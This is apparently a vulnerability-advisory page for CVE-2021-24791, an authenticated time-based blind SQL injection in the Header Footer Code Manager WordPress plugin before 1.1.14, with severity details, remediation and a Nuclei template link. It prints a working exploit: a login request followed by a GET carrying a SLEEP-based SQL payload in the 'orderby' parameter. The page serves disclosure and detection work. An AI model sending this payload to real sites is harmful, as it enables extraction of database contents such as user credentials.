🔙 목록으로 돌아가기

CVE-2021-24791: Header Footer Code Manager < 1.1.14 - Admin+ SQL Injection

TitleHeader Footer Code Manager < 1.1.14 - Admin+ SQL Injection
Authorr3Y3r53
SeverityHigh
ImpactAuthenticated administrators can exploit time-based blind SQL injection in the Snippets dashboard, potentially extracting sensitive database contents including user credentials.
RemediationFixed in version 1.1.14
CVSS Score7.2
EPSS Score0.06309
CVE IDCVE-2021-24791
CWE IDCWE-89
Tags time-based-sqli cve2021 cve wpscan sqli wp wordpress wp-plugin authenticated header-footer-code-manager draftpress vuln

🔍 Vulnerability Description

The Header Footer Code Manager WordPress plugin before 1.1.14 does not validate and escape the “orderby” and “order” request parameters before using them in a SQL statement when viewing the Snippets admin dashboard, leading to SQL injections

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=2D7iAr&pwd=DrXGWH&wp-submit=Log+In
GET /wp-admin/admin.php?page=hfcm-list&orderby=%28SELECT+5619+FROM+%28SELECT%28SLEEP%286%29%29%29uWCv%29&order=DESC HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24791.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24791.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A